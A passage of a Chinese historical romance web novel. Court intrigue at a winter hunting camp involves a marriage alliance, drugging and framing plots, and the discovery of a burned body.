四周还围着三三两两的贵妇们,不知谁先踩到积雪、脚下一滑,一推二,二第三,闹着正群人皆是人仰马翻。待被搀扶起身后,斗篷、襦裙皆是沾了污浊雪水。 回到帐篷后,她第一时间命宫女取来干净的衣物。 “……这是?”宫女原是要拿着替换下来的斗篷去清洗,不曾想,帽子内掉出来一张对折的纸条。 韶华公主展开纸条,上面只有五个小字——来哨塔一见。 字体锐利锋劲,应是男子笔触。 而这次负责巡抚的…… 韶华公主之前多次随扈来此,对地形熟悉,木兰围场共有东南、西北两处哨塔。 她清冷的眉眼微蹙,先是挑帘望向近处的那座哨塔,又回身远眺西北方向。 她眼睫倏然一跳,莫非是?! 按照韶华公主一惯冷清的性子,断不会冒然与陌生男子赴约。 可等会晚宴上就要公布和亲人选了,只剩不到两个时辰。若能提前寻得出路,为何不能冒险一试? 她踱着步子,稍作沉思,遂趁着无人的空当,抬脚疾步往西边哨塔而去。 却未曾想,会撞见惊人一幕。 * 约莫有小半个时辰,木屋内动静方歇。 穹顶的日头,已从直晒变为东斜。 门终于打开,“长缨,去打盆……” 霍霆目光落在华姝脸上,眉头蹙动。 练武冒汗,他身上只穿着件宽松黑裤。后背大块大块的麦色腱子肉,冒着热气。长短不一的旧疤,交错盘踞,醒目摄人。 华姝眼皮一跳,背过身,“我去给您打水。” 背后,男人嗓音寒沉:“表姑娘就不怕被旁人瞧见,回头又说不清了?” 华姝滞住脚,默了默,半垂着眼转过身,“我原想着,那晚在东市太惹眼了,怕被有心人利用。适才再想想,确是我口无遮拦,不怪您恼火。” 她着重强调:“我自己是很喜欢那雪梨养颜膏的,也很感激王爷相赠。” “谁送的,你谢谁去。”霍霆觑她一眼,转身进屋,随后传来布料窸窣的穿衣声。 华姝略等片刻,瞥见他穿好白色内衫,抬脚跨进门。 她下意识想掩上屋门,但手臂在半空悬住一瞬,又默默垂下。 然后缓步挪到他身后,轻声细语:“您亲手指导我射飞镖,也算我的师父。” 霍霆系腰带的双手微顿,很快又继续动作。 丢下一句“谁稀罕?”就拎起外袍,一边穿好一边走到兵器架子前,用素帕子擦拭起长剑。 华姝见状,也跟到兵器架子前,用随身携带的绢帕,为他擦拭起剑鞘。相比于沉重玄铁佩剑,剑鞘她勉强拿得动。 鞘身上的赤色蟠螭纹已被磨得发亮。 鞘尾刻着两道深痕,尤其他身上的旧疤,不知道哪一条是因她而伤,不知哪一条是为着大昭百姓,总之每一条都值得被精心照料。 经过痕处,她将动作会放轻、放慢。 霍霆淡淡瞥了下,不置可否。 华姝见他未阻拦,胆量又大上几分,边将剑鞘翻面,边道:“您这次都没发火凶我,可见是没真生气的。” 霍霆沉默几息,抽手捏鼓她脸颊,目光依旧幽沉,“谁给你的胆子,敢来揣测我?” 华姝不语,只杏眸盈盈盯着他瞧。 被粗粝指腹触碰的白皙肌肤,微微泛起粉意。后来小巧的耳垂也红了。再后来,她实在架不住他那双强横压迫的目光,才弱弱地垂下眼帘。 但有些答案,不言而喻。 霍霆瞧在眼里,气得手上加重几分力道,切齿冷哼:“少再拿山里那套哄我。” 说罢,放下才擦拭一半的剑,转到矮塌前,去整理已是纤尘不染的被褥。 华姝用手背冰了冰发烫的脸颊,再次抬脚跟上。 如同在山里那般,像个小尾巴,他走到哪就跟到哪。直到磨得他没了法子,无奈答应她的请求为止。 霍霆整理矮塌,她就整理一旁桌案。 掂量着时刻,再度软声开口:“我知错了,下次再也不敢了。” “你不敢?”霍霆狠狠戳两下她脑门,又闷哼一声:“再没人比你认错更勤快了,下次犯错也更勤快。” 华姝吃痛捂住额头,同时悄悄观察着他脸色,见他周身沉冷气压已缓缓散去,于是赶紧转移话题。 “我今日瞧着,太后和皇后已势如水火,圣上夹在中间似乎有些为难。那这最后的和亲人选……”她欲言又止,眸光乖软:“我这心里有些不安。” 霍霆依旧板脸睨着她,嘴角却不受控制地上挑。 他转身关上门,之后娓娓道来一段往事。 大约在四年前,彼时他尚未封王,正在西南领兵对战乌兹国的进犯。 某日,下属抓到一位卷发浓颜的异域少年。经探查,是吐蕃国的小王子。年仅十三岁,带着随从偷溜到大昭来玩。 按例,大昭可以借此索要一大批粮草,再行放人。 但霍霆考虑到,不可同时与邻国树敌太多,加上小王子确实不是来刺探军情的,就给人悄无声息放归,还免去了他被老吐蕃王的好一通训斥。 小王子感念在心,后来时不时会命人给霍霆送些风干的牛羊肉,酥油茶。霍霆礼尚往来,也给他回些柑橘、笔墨纸砚、蜀锦等薄礼。 一来二去,两人秘密成为往年之交。小王子对大昭的文化礼数、丝织记忆也日渐偏好。 恰逢去年冬日,小王子继任为新任吐蕃国王,也有意向霍霆请教中原的农耕、织布技艺。 霍霆考虑到国别有异,未曾应允。直到接到赐婚圣旨那晚,他忽然想,和亲,或为一箭四雕的法子。 既然解决他的燃眉之急,新任吐蕃王也能学到他心心念念的中原技艺,昭文帝亦能年年得到一大笔岁贡,且稳固边疆。 “而且和亲后,边疆会开通集市贸易。对两国当地百姓的生活,也多有裨益。”霍霆不疾不徐地讲述道。 华姝心怀敬畏地听他讲完。 她暗幸自己先行询问了,否则这等传奇经历,就是她想破脑瓜壳也想不到的。 “只不过,要委屈你一段时日了。” 霍霆话锋一转:“咱俩的事,需得等吐蕃使团走后,避过风头,再从长计议。” 华姝求之不得,却不能表现得太愉快。她正色点点头,“一切都听从王爷的安排。” 霍霆又气又想笑,伸手过来捏她脸。 华姝理亏在先,便由着他揉捏一番。 粗粝指腹的灼热透过皮肤渗进来,她微微偏头,雪靥上好似染上晕开的朱墨。 她索性闭上双眼,睫毛扫过他掌心时,听见男人喉结滚动的声音,比方才的威胁轻了几分。 到底顾忌着被旁人撞见,华姝也不敢多留,片刻后便起身告辞。 手指放到门栓时,她忽又转身询问:“适才听说,等会宴请吐蕃时团时,男子都要饮一碗鹿血。您能不喝吗?” 毕竟霍霆那一道解毒方子,全是至强至阳的大补之物。若再饮那鹿血,华姝唯恐会与他体内的药性相冲。 霍霆正擦拭完佩剑,慢条斯理地插进剑鞘,才抬眼看向门口,一本正经地问:“我又不是孤家寡人,我怕什么?” 第49章 雪夜迷情 冬日黑得早, 晚宴定在酉时一刻。 华姝与大房、二房女眷结伴前往。 两排坐席齐整而绵长,中间的过道上,每逢十桌会设一架篝火,足足设了三架。 篝火烧得“噼啪”作响, 上面挂着的鹿肉、野猪肉、山羊肉等猎物, 被炙烤得滋滋冒油, 焦香四溢,远远闻见就让人直咽口水。 圣上御撵端中而居, 左右是太后和皇后、宫妃及公主们,背靠“点将台”,点将台上下皆有重兵把守。 大伙对坐在前方的大片空地上,位置基本遵循了营地帐篷的尊卑有序。男子在前,女眷附后而坐。 唯二区别是,对面东宫的下首空出两张长案,应是留给和亲使团的坐席。 霍府这边,在霍霆与二老爷霍霄之间,也插进来一张长案。 有道绛紫色飞鱼服的欣长身影, 端方娴雅而坐, 却也诡异得渗人。 华姝等人心中皆是咯噔一下, 谈笑声戛然而止。 裴夙瞧着她僵掉的笑容,甚为满意。 午后那会, 他奉皇令, 陪着和亲使团继续在密林狩猎。回来后, 才听得“华姑娘的好师父, 一次送了她三十罐养颜膏”的惊奇传闻。 裴夙抵了抵牙尖,闷气丛生。 可真是他的好徒弟啊,日日都将他挂在嘴边。凡是她不便解释的亏心事, 不分好坏,一股脑地都往他头上安。 她就吃定了他不能立刻跳出来拆穿! “又见面了,华姑娘。”裴夙喉结滚动间,一声闷笑还是从紧咬的后齿缝漏了出来,“听闻你师父那养颜膏极有妙用,可否也割爱给本督一罐啊?” 华姝两弯细眉微凝,她在御前已言明那养颜膏只剩最后一罐,这人是真不知假不知? 其余几人也怀疑,裴夙在明知故问。 就连旁边的两桌女眷,都诧异看来。 但面对这条吃人不吐骨头的疯狗,没有几人不犯怵的。 二夫人想都未想,径直拉着霍华羽坐到自己位置上,恍若未闻。 阮糖也乐得隔岸观火,紧随其后。 霍千羽忙命人去请霍霆来救急。 大夫人稍有犹豫,还是硬着头皮上前一步,准备替华姝婉言回绝。 华姝伸手拦住她,对裴夙应付了句:“不方便。” 她想,倘若他真与幕后之人有关,那么恩怨已结,没必要再让大房卷入其中。 她定定打量着他,保养得当的姣好面容上,漾着一抹澹澹暖笑。乍看像是温润书生,偏又整日干着刀尖舔血的勾当。 裴夙又定定瞧着她,眉梢轻挑,“如何不方便?你们女人用的物件,男人不便用,咱们阉人用着正好呢。” 华姝轻抿了抿唇,语气沉冷几分:“爱美之心人皆有之,不分男女。我师父亦是男子,但这不妨碍他悬壶济世、坦荡仁善。” 裴夙眼底的笑滞住一瞬,嘲弄了声:“你说你那师父是名游医,又未日日相处,你怎么判定他没背着你杀人放火呢?” “他对我好就够了。”华姝斩钉截铁:“至于他对旁人如何,我管不着,裴督主更管不着。” “……” 裴夙被结结实实地噎了下。 他脸上笑意冷去,静静凝着华姝坚信不移的神情,若有所思。 不苟言笑的样子,令大夫人闻之色变 她赶忙将华姝拉到身后,软话说着:“孩子年纪小没分寸,我回去自当规训她,还请裴督主勿怪。” 邻桌女眷也匆忙起身,避远。 这可是杀人不眨眼的恶魔啊! 保不准突然就一把刀甩过来! 二夫人更是不悦瞥着华姝,当真不知天高地厚,以为得罪了公主没事,就能来得罪这个魔头了? 怎料,“无妨。” 裴夙挑手碾了碾耳廓,轻笑:“许久没人敢对本督没大没小的了,听着倒也新鲜得趣。” “裴督主这话可得三思。”一道低沉有力的熟悉嗓音,忽然响起:“若想上赶着来我霍府倒插门,就得拿出吃软饭该有的样子。” 华姝抿唇一笑,目视霍霆高大的身影由远及近。 从她的站位,刚刚就能望见他了,所以才敢狐假虎威地反驳回去。 霍千羽忍不住小小声赞叹:“四叔威武!” 大夫人也如释重负,带着她俩低调落座。 裴夙支起头,仰瞧着站定在长案前的男人,慵懒而笑:“听镇南王的意思,是想赶本督去对面吃软饭?那还得劳烦镇南王去同太子请示一番。” “普天之下,唯有圣上能差遣本王。”霍霆居高临下睨着他,也笑笑:“这有的人吃过软饭,胃口也变大了。” “你……” 裴夙正要辩驳回去,圣驾款款而来。 众人忙起身跪拜。 昭文帝大马金刀地坐到龙椅上,抬了抬手,“既不在宫中,一切礼数从简,都平身吧。” 众人谢恩落座,宴饮开始。 在备受瞩目中,四个吐蕃和亲使臣正式走上前,手臂斜在身前,鞠躬拜见昭文帝。 见到他们,大伙不由去瞧两位公主。 意外的是,不仅性子沉静的韶华公主面无波澜,就连福佳公主都面色从容,与皇后相视一笑。 也有人来瞧霍府的反应。 二房事不关己,大房若隐若现的凝重不安,皆是合乎情理。 再转看霍霆时,却见他气定神闲地,在观赏吐蕃带来的贡品。 金银财宝的,已悄无声息纳入国库。 为首的那个吐蕃大胡子,当众展示几样稀罕货,“此乃牦牛肉干,肉质紧实,外硬内韧,咸而不腻,越嚼越有嚼劲。” “此乃葡萄佳酿,味有回甘,不易醉人。我王特命我等带来,献给尊贵的大昭陛下。”说着,他斟酒展示。只见那原本透明的琉璃杯,很快渲染为深紫色。 大昭盛行高粱白酒,“这彩色的酒酿还真是头一次见!”众人纷纷面露惊艳。 包括昭文帝,经太监试毒后,他啜饮细品,龙颜大悦:“吐蕃王有心了,此酒甚合朕意。” “来啊,赐座。”他略略挥手,“也让吐蕃邻友尝尝咱中原的物华天宝。” 随着圣上一声令下,御膳房的人鱼贯端上美酒佳肴,还有今晚的特色,炭烤炙肉。 吐蕃人看得瞠目结舌,连连点头赞叹:“大昭陛下,你们吃炙肉竟能有如此多的蘸料?真是不看不知道,一看吓一跳啊!” 国威得扬,昭文帝心情更悦,举起酒樽,与群臣共饮。 之后两个吐蕃的异域舞姬上场,载歌载舞,好不欢快。 华姝看得津津有味,吃得也津津有味 大昭炙肉的蘸料种类,确实繁多。 她偏好酸甜口的梅子碎、甘蔗酱。 有些男子还喜蘸黑蒜和陈醋。 同桌的霍千羽偏好咸口,豆豉酱、菌菇酱、芝麻盐,都要裹在肉块上。 而斜前方的霍霆,会用苏子叶和“食茱萸”卷着满当当的肉条,粗犷地大口塞进嘴中,更偏军营的饮食习惯。 华姝还是头一次发现,他原是偏好辛辣口味。 是以,当昭文帝赏赐给每家一盏葡萄酿后,霍霆顺手就递给了大夫人,“我不喜甜口,嫂子你们分着尝尝吧。” 话是对大夫人说的,目光则浅浅扫过那个爱吃甜食的姑娘。 华姝目露雀跃,盯着那白瓷杯口摇曳的紫色浆液,喉头忍不住地动了动。 大夫人惊喜地双手接过杯盏。给府上的女眷各分了一小盅,剩下的小半盏,护短地推给霍千羽和华姝。 霍千羽又转手全倒给华姝。 华姝一连饮尽三盅,好似在喝冲泡过的蜜糖,还自带醇甘,甜得人差点咬掉舌头。 旁边,霍华羽艳羡地巴巴观望,二夫人脸色阴沉地拧了她一把。 长案上另有一架小炉,可以自行炭烤各家男子带回来的猎物。 礼尚往来,华姝拉着霍千羽一起烤了些狍子肉,分给霍府亲友。 唯独有一盘,她仔细捣碎“食茱萸”,浆液涂抹在肉块上,撒上些芝麻盐,再卷进绿油油的苏子叶内,整齐码好,递上前。 霍霆接到那盘整整齐齐的肉卷后,福至心灵,回头看去。 却见那姑娘埋低头,用生菜裹住滋滋作响的烤肉,发丝垂落遮住泛红的脸蛋,氤氲热气里只能看见她不停翻动的筷尖。 一旁,裴夙轻嗤了声。 不就盘肉卷么,至于这么郑重其事? 他自己动手,也卷了块肉送进嘴里。却又皱了皱眉,总觉得嚼不出滋味。 * 酒过三巡,重头戏终于来了。 昭文帝放下玉箸,看着下首的吐蕃使臣,率先朗声开口:“中原先贤有云:有朋自远方来不亦说乎。能与吐蕃友邻联姻,朕心亦是甚悦。但却不知,吐蕃王要迎娶我大昭哪一位公主?” 宴席霎时寂静,众人也纷纷看去。 太后面色绷紧。 霍玄一家皆似如临大敌。 华姝已有心理准备,悄看向上首。 韶华公主神色依旧清冷如水。 福佳公主则流露出一副胜券在握的得意笑容。 之前,外祖父徐阁老已替福佳公主暗中打探,有个使臣透露,他们的王要迎娶一位温婉女子回去持家。 如此她午后受罚,岂非因祸得福? 福佳公主又看向对面,韶华公主平静对上她沾沾自喜的目光,无悲无怒。 同样成竹在胸的,还有阮糖。 她挺直背脊,笑看那个吐蕃大胡子走上前回话。 他若选福佳,福佳公主连带着午后那一顿火气,必然会撒到华姝身上。 他若选韶华,韶华公主只怕已撞破那叔侄奸情,得知霍霆是为了华姝才坑害她去和亲,想必也不会善罢甘休。 大胡子已站定在御前,鞠躬行礼,“感谢大昭陛下的盛情礼待,依照我王之命,我吐蕃也将盛情礼迎这位骑射俱佳的福佳公主,岁岁朝贡,与大昭永结同好。” 说完,他又朝福佳公主,鞠躬致意。 此话一出,太后的脸色肉眼可见地和缓下来。 霍玄一家亦是长长松了口气。 华姝诧异一瞬,下意识看向霍霆。 但他这次没有默契回头。 福佳公主更彻底傻眼了,气急败坏地腾得站起身,恨不得指着吐蕃人的鼻子骂。 皇后眼疾手快,强行将她按住,而后迅速朝自己父亲递了个眼色。 徐阁老捋着白须,提声道:“真若论骑射技艺,韶华公主的亡父康王乃沙场英雄,正可谓虎父无犬女,韶华公主的骑射定不在福佳之下。” 这般公然反对,让昭文帝瞬时沉了脸色。 太后也是凤目含威,雍容凝霜。 但不待她有所动作,裴夙先散漫嗤笑了声:“既说虎父无犬女,圣上骑射难道就比不得康王爷了?是康王给你托梦了,还是你老去底下溜达过啊?” “裴夙,你休得胡言,这里没你的事!”徐阁老厉色驳斥一声,而后跪至御前请命。 在他带头下,另有几个大臣下跪附议:“请陛下三思。” 裴夙不以为意:“别生气啊,我这不是好奇嘛。那地府牛头马面的尖刀,可有咱东厂的……磨得亮啊?” 说话间,他将腰间绣春刀“啪”得拍在案上。周遭森寒的空气,好似都被震得抖了抖。 原本又要附议的几个老臣,身形一僵,默默坐了回去。 徐阁老也凝滞一瞬,而后颤手指着裴夙,痛心疾首:“你——” “行啦!” 昭文帝将酒樽猛地掷在案上,冷声训道:“堂堂朝廷重臣,尚有贵客在此,你们就这般吵闹成何体统?” 帝王一怒,众人噤若寒蝉。 天幕飘落下零星小雪,寒意更甚。 徐阁老不敢再劝,眼见和亲之事就此定局,福佳公主当场双眼一翻,撅了过去。 皇后急急命人扶她回去,再看向昭文帝时,目光冷凉而沉痛。 明眼人都瞧得出,昭文帝不过是顺水推舟,他一早择定的和亲人选就是自己的亲生女儿! 华姝静静旁观完这一切,亦是唏嘘。 世人常道帝王无情,如今亲眼所见,那寒意才从骨髓里爬了上来。那把明黄龙椅,好似噬魂冷血的冰窟。 她又转眼看向那一袭绛紫色飞鱼服。 后知后觉,霍霆为什么更怀疑宋尚书了。东厂当真是圣上豢养的狗。圣上让他要谁,裴夙就会无差别攻击。 至于她昨夜劝他的那番话,华姝叹,权当喂了狗吧。 和亲之事落定,晚宴也进入尾声。 按照惯例,膳房端上来一碗碗冒着热气的鲜血鹿血,浓郁的腥气远远刺鼻。 每桌男子都得了一碗。 华姝虽担心霍霆,但也有心无力。 岂料,那人忽然朝上首抱拳,“陛下,臣下半夜还要巡防,斗胆请令:先免了这一遭,下回再补上。” 昭文帝沉默几息,颔首:“安防为重,你就意思意思罢。” 说起来,昭文帝今夜对霍霆还算满意。此前一直猜忌,吐蕃和亲乃霍霆暗中授意,结果对方却求娶了福佳公主,与昭文帝的想法不谋而合,免去诸多麻烦。 这让昭文帝不禁纳闷,莫非霍霆当真没有从中作梗? * 雪越下越大,晚宴散场。 霍霆依照先前所言,带人踏进寒冷夜色,继续值守。似乎对于韶华公主留下来,会与他成亲一事,漠不关心。 华姝猜不透他心思,跟着大夫人一路回到自己帐中。 帐篷没有点烛台,只有一捧昏暗的炭火,幽幽照出屏风后的纤瘦蜷缩背影。 “……半夏,你是不舒服吗?” 华姝疾步走过去,苓霄忙去点烛台。 怎料,那屏风后面的人突然攒起身,抬手就朝华姝面上扬了一大把白色粉末。 华姝不慎吸入,眨眼间软了下去。 “姑娘!” 苓霄大惊失色,抽出腰间软箭,就冲了过去。 缠斗间,另有两个黑衣人提剑闯入。 三人成合围之势,外带着大把的迷药,十数招后迅速合力将苓霄放倒。 紧接着,两人将她们架出去。 余一人留下清理撒落地面的迷药,又吹灭被苓霄点燃的烛台,营造出主仆已歇下的假象,而后悄无声息离开。 一切操作下,用时不过半盏茶。 那一丁点动静,皆被呼啸风雪隐蔽。 殊不知,有个纤小身影,匆匆走进旁边的帐中,“姑娘,成啦!” 阮糖兴奋起身,上前拽着她手臂核实:“福佳公主有动作了?” “如您所料,奴婢亲眼瞧着,华姝主仆被人迷晕带走的。”丫鬟喉头吞咽了下,“奴婢只敢远远跟着,似乎是往宋家大爷的帐篷去了,但天色太暗,奴婢也不敢太确认。” “八九不离十就是了。” 阮糖已被喜悦冲昏头脑,“即便不是,有了福佳公主这一出,华姝日后也再没脸在京城待下去,更别提做镇南王妃。” 她幽笑道:“这就是命,她得认!” “但奴婢回来时,还瞧见一事。”那丫鬟大喘气一口,继续紧张道:“貌似、貌似……” “貌似什么?有话直说!” 丫鬟硬着头皮:“貌似圣上刚进了华姝的帐篷。” “……什么?” 阮糖如遭雷击。 她脸色亦是紧绷起来,坐立不安地踱步几圈,最终还是决计出门观望一番。 结果人刚迈出帐篷,迎面也撒来一大把迷药。 阮糖瞳孔震动,转瞬涣散,昏厥。 大雪纷纷扬扬,掩盖掉所有的斑驳脚印……—— 作者有话说:国庆节快乐 评论区掉落红包啦~ 第50章 捉奸在床 次日辰时, 雪势减小。 大夫人像前两日一样,将热腾腾早膳一一摆到炭盆旁的方形矮几上,招呼几人来吃。 野外从简,大伙围成一圈盘腿落座, 发现空出一副碗筷。 “咦?姝儿今日赖床了嘛!”霍千羽脆笑了声, 调转轮椅, “娘,你们先吃, 我去把她从被窝抓出来。” “外头雪滑,还是我去看看吧。” 大夫人起身,从屏风上随手拉下大氅,边出门边系好,顶风冒雪前往华姝的帐篷。 远远瞧着,门上似乎站了两个侍卫。 走近一瞧,她眼皮骤跳,太监?! 鹿皮帐篷内,尚且听不见一点动静, 似乎还未起。 那睡在这里面的人…… 大夫人心中狂跳, 想弄清楚又不敢冒然上前, 更不随意声张。她按捺住心惊胆战的思绪,急忙回到自己帐篷, 将此事说与霍雲。 霍雲豁然起身, “你可瞧清了?” 大夫人惊慌无措:“那太监的服侍, 谁会乱往身上穿?那两个人……对, 他们就是昨日点将台上随侍圣上……” “玄儿!” 霍雲望向冲出去的身影,忙吩咐小厮:“快拦住他!” 又叫另一个小厮赶紧去寻霍霆。 他则匆匆去寻霍霄,商议对策。 霍千羽想去看看华姝, 大夫人怕她惊了御驾拦着不让,霍千羽急得眼泪汪汪,最后被大夫人推着也去了二房帐篷。 二房三人听后,也是脸色惊变。 霍华羽:“华姝要进宫作娘娘了?” “不好说,得看圣上认不认。”二夫人轻哼:“早年御前宫女被临幸却没被赐位份的,大有人在。” “不进后宫最好,那种地界有什么好的?”霍千羽瞧着她们娘俩的嘴脸,气不打一处来:“我只要姝儿能好好活着,比什么都强!” 大夫人也颤声动容:“我苦命的姑娘哟……” 二老爷亦是忧心忡忡,但临危不乱。 他边到屏风后穿戴好正式官服,边道:“趁着这会外头人少,咱俩先去面圣试试。圣上若认,回头让澜舟替姝儿谋个好位分。圣上若不认,那就将他早些请离姝儿的帐篷,尽快压下此事。” 霍雲点点头,“我这就去换官服。” 大夫人:“我也去给你打点。” 岂料,夫妻俩刚挑帘出来,就撞见福佳公主带着一大群宫女嬷嬷,气势汹汹地往华姝帐篷的方向而去。 福佳公主右唇略翘,似笑非笑,眉眼间漾着款款得意。 霍府众人则倒吸一口凉气。 大夫人迟疑片刻,仓惶地就要追上去拦住她们。 二夫人一把拽住她,“你是脑袋不想要了?你自己找死,可别连累我们。” 霍千羽急得恨不得跳起来,“难道就任由姝儿被她们糟……” “啊——” 突然,一道尖细的娇声高嚷了出来。 但很快,传来福佳公主的低斥:“赶紧给我住嘴!” 那个宫女,本是被事先安排好负责高声叫嚷的,以吸引来所有的人。 大伙一看,华姝大清早的不在自己帐中,丫鬟还被迷晕了,肯定会到处找啊。这么一找,她去宋煜帐篷私会的事,自然就瞒不住了。 但偏偏那宫女被安排在最后,视线受阻,没瞧见帐篷前的两个太监。 眼见生出这么大的变故,福佳公主小腿不受控地哆嗦了下,抬脚欲走。 但四周帐中,陆续有人寻声出来查看。 尚未除净的雪地里,人群越围越多。 福佳公主气急败坏,她这下想走也走不掉了。 霍府几人也深知瞒不住了,只好踩着辩驳的雪引,疾步上前,随时等候圣上宣召。 围观人的目光打在他们脸上。 刀削般的冷风也打在他们脸上。 帐内榻上,昭文帝也被那道叫嚷声吵醒。他不耐地皱了皱眉,悠悠睁开眼。 余光瞥见怀中软香娇躯,脸色稍霁。 这次秋猎,他只带了皇后、宋妃、沈嫔三个后妃。宋妃抱恙,沈嫔突然来了小日子,皇后那……不去也罢。 偏偏一大碗鹿血下肚,体内燥动难耐 煎熬间,眼前浮现出一张白皙清瘦的玉颜,正是在“点将台”时瞧见的那个华家孤女。同那晚龙帐相比,瞧得灵动可人了许多。 于是欣然抹黑前往,一夜鱼水交欢。 昭文帝神清气爽,饶有心情地去勾美人下巴,正要印下一吻时,笑容僵滞:“怎么是你?!” 账外,大伙面面相觑。 圣上这话是何意? 霍家人喜难自持。 莫非不是姝儿? 福佳公主匪夷所思。 不是华姝还能有谁?? 紧接着,就听见帐中传出一阵请罪声,女人嗓音仓惶颤栗:“陛下息怒,臣女亦不知情啊!” 霍华羽一听:“这是……” “阮糖???”二夫人瞠目结舌。 大夫人不禁双掌合十,作揖指天,“太好了,老天保佑,不是姝儿就好。” 霍千羽跟着喜上眉梢,谢天谢地。但转念再一想,“不对啊,那姝儿昨晚去哪啦?这可是下了一夜大雪呢……” 霍雲见此,忙悄声吩咐小厮,“赶快带上所有人,立马去寻表小姐。” 霍霄也吩咐自己的小厮,“大老爷的人往北边去,你们往南边去,跟王爷带的侍卫都问问,昨夜可曾有人察觉到异样?” “是!” 几人目送小厮们匆匆带人而去。 结果一抬眼,却见东边突然爆出滚滚浓烟。转眼间,火势已吞天噬地。那些狂舞的火舌,迅速往四周的帐篷蔓延而去。 嘈杂的救火声,接连响起,像一把钝锯来回割扯着寂静的晨雾。 营地所有人都被惊了出来。 大伙齐齐带人带水过去支援,走近才知是户部尚书之子,宋煜的帐篷不慎燃起大火。 好在宋煜逃了出来,正弯腰扶膝站在一旁,熏得咳嗽不止。 七手八脚的一顿泼水后,火势减小。 伤亡得以遏制,没有牵连到周围。 可不带众人喘口气,“咔嚓——”一声巨响,余烬的帐篷散了架。 原本嘈杂的现场,忽地鸦雀无声。 仿佛一瞬之间,所有人都被冻住。 宋煜听得不对劲,艰难直起腰回头查看…… “啊!” 他瞳孔骤然放大,吓得连连后退,踉跄两步栽倒在雪地里,还是止不住地往后缩着。 只见烧散的帐篷底下,赫然露出一具女尸! 那可怜的女子无人及时营救,已被烧得面无全非,难辨身份。 可福佳公主转瞬就联想到一人。 她惊恐六神无主,胃部突然痉挛,喉头一股股的恶心,污秽呕吐物溅落得到处都是。 霍千羽也怔愣几息,惶然揪住大夫人的衣袖,僵硬仰头,“不会是……不会吧?”她眼泪扑簌簌落下,“不会的,一定不会的……” “是华姝!” 宋煜一阵惊惧后,理智回笼,记起昨夜与福佳公主一起犯下的勾当,火急火燎地撇清干系:“是华姝,是她自己非要爬上我的床!” “宋贤侄,饭可以乱吃,但话可不能乱说!”事关霍府小姐的声誉,二夫人上前一步,沉声喝道。 “我儿如何乱说?”宋夫人将宋煜护在身后,“当初她是因何被我宋家退婚,你们心里明镜似的。止不住她是心里不舍,才千方百计来讨好我儿。” 二夫人竖眉凛目:“你再说一遍!” 宋夫人冷笑:“说就说,反正丢人的不是我……” “不好了!” 一个宫女突然连滚带爬地奔跑过来,顾不得宫中礼数,跌跌撞撞跪在皇后面前,“皇后娘娘,韶华公主不见了!太后焦急攻心,昏迷不醒,陛下召您赶紧过去。” 短暂的死寂后,众人哗然。 “那这女尸……到底是……”谁? 霍家人脸色一个比一个懵。 这如果也不是姝儿,那姝儿昨夜又去哪了呢?是否也像阮糖、韶华公主一样,接连遭遇不测? 福佳公主瞧向那尸体,慌得栽跪在地。 宋夫人难以置信地瞪向宋煜,两眼一翻白,也昏倒在丫鬟的身上。 天空还在飘着稀稀拉拉的雪花。 让人不寒而栗,头皮发麻。 几经辗转,人群又慢吞吞挪到御前。 九龙大帐前,昭文帝也才穿好外披,顾不得处理阮糖的事,先亟于弄清楚这场人命官司。 他叉腰俯视着那具女尸,眼眶青筋直跳,而后沉声发话:“去,将昨夜各府所有当值的人,全给朕叫来审问。” “还有当值的侍卫,还有……镇南王人呢?”他环顾一圈人群,脸色愈发阴沉,“发生此等大事,他竟还能坐得住?!” 霍雲擦擦汗,躬身上前一步,“启奏陛下,镇南王应是在北侧哨塔,已命人去请了。” 话音刚落,北侧恰有马蹄声由远及近 透过雪幕,远远瞧着是个男子身形。 近处一看,是霍玄。原来他适才没有慌不择路,而是骑马去寻霍霆了。 “驭——” 霍玄勒马落地,一步跪到昭文帝面前,抱拳恳切道:“启禀陛下,镇南王昨夜追击刺客,一夜未归,还请陛下派人增援。” 轰—— 众人如遭雷劈,霎时惶惶惊恐。 * 整件事,要从昨夜华姝昏迷后说起。 等她被唤醒,人已在北侧哨塔中。 屋内还有两人,一站一坐。 韶华公主抱臂立在窗前,脸色清冷。 霍霆坐在床边,面露忧色:“醒了,可有哪不舒服?” 华姝手心撑住床榻,缓缓坐起身,“这是……” 韶华公主:“你被福佳做局了。” 华姝点点头,这大抵不难猜。但她疑惑地看着面前两人,“那你们又是……” 霍霆:“我们被阮糖做局了。” 他眸色微动,似乎觉得这话不妥,又紧接着补充道:“不是你想的那样。” 华姝怔了一瞬,耳后泛起薄红。 她想的什么样? 她这会懵的,什么都还没想呢。 华姝抬手虚虚掖下鬓角,悄看了眼韶华公主,见对方正面朝窗外,才轻咳一声:“你们适才说,阮糖……”她转移话题:“莫非她在御前提及那些养颜膏,是刻意为之?” 韶华公主颔首:“不错。” 她转向床边,淡声解释:“先确保你来寻镇南王,再在我斗篷帽子内塞纸条,引我前来。” 午后韶华公主怀着忐忑的心而来,被长缨等人察觉,报到霍霆面前。 这本是场对峙的僵局,但韶华公主镇静提出:“我为王爷揪出那幕后之人,事成之后王爷设法护送我远离京城。” 交易达成后,她秘密调查午后大伙集体滑倒时,每人身边大致都有谁。 稍加回忆,得知最先摔倒的是阮糖婢女,而阮糖本人则紧挨着韶华公主而行。 答案自然不言而喻。 华姝转睛恍然,难怪晚宴上他俩面对和亲一事,看起来皆是成竹在胸。 “……公主要离开京城?” 她后知后觉凝视窗边的佳人,褪去金贵环钗,素白褙子被渗入窗的山风掀起极淡的弧度,腰间禁步纹丝不动。那截冷玉似的脖颈始终微微昂着,像一株被寒意淬炼过的劲竹。 何等绝望的境遇,才会让一人甘愿放弃一座城,满门亲朋? 华姝对那个如金笼的皇室,愈加细思极恐,不自觉搓了搓手臂上渗出的鸡皮疙瘩。 半夏一直隐在昏暗角落里,见状,从火炉上拎起水壶,灌了汤婆子递进棉被里。 华姝这才注意到她,忙上下打量,“可有受伤?今晚怕是又连累你了。” 半夏摇头轻笑:“多亏王爷爱屋及乌,奴婢托姑娘的福,一切安好。” 原来,半夏提前被人迷晕,也扔进宋煜的帐篷。 这一幕,被守在暗处的濯缨瞧得清清楚楚。他随即事情转述给长缨,长缨又悄声汇报给霍霆。 是以,霍霆才请令不喝鹿血。宴后,他看似远去巡防,实则转到宋煜的帐中守株待兔。 他先是两记利落手刀,接连砍晕宋煜主仆。而后趁四下无人,带回华姝和半夏。 “还有苓霄呢?”华姝放下汤婆子,急忙握住霍霆的手臂,“她人还好吧?” “她没事,你安心坐着。”霍霆将她轻轻按回去,缓声解释:“我另安排给她一件事,等会就回了。” 旁边,韶华公主静静瞧着。 